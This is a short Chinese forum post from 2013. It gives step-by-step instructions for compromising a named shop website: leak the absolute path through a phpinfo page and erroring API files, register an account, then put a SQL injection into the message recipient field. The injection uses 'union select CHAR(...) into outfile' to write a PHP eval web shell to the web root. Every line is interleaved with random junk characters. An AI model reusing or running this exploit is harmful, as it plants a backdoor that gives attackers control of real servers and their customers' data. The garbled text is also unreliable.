第一个：想办法找到目标网站的绝对路径( p( A& ^; K) L& J
5 f( a0 L8 E) i1 P: S; h K4 @http://www.political-security.com/install/svinfo.php?phpinfo=true
" [* R1 K c7 ?* h0 y$ \
, g* \7 T! ^% Yhttp:/www.political-security.com/core/api/shop_api.php$ R @3 b$ u5 w( Q% g* p& u
( P& ~) v& b+ [0 R2 n( hhttp://www.political-security.co ... api_b2b_2_0_cat.php" w' u1 c2 W% k; U$ }( E% j# n
" R0 a. r) c8 S& G5 Q: k6 W
http://www.political-security.com/core/ap ... b_2_0_goodstype.php1 H" t8 A9 C% }8 K& T- ^+ F+ {
' _2 T1 G6 X/ j' l+ Z/ o3 D5 }4 Bhttp://www.political-security.co ... i_b2b_2_0_brand.php+ l* G* H4 b+ \4 [# V8 s# X# _
第二个：注册一个普通用户
) \/ T- I/ C+ k R
8 p# n! W9 o( v* j Ahttp://www.political-security.com/?passport-signup.html! l: L) s- q' W" m! j
. J s( G" o# ~
第三个： 发送消息
1 z: S9 n. N; k0 n- Y4 ]5 ]! h
' H) s! d5 `( P, ^ j& Hhttp://www.political-security.com/?member-send.html
5 V7 J5 V! B0 S' Z; G) ^$ I5 ~) ]8 Q8 z发送给中填写
' U# p- u. v k; b X+ ]5 |9 Vantian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对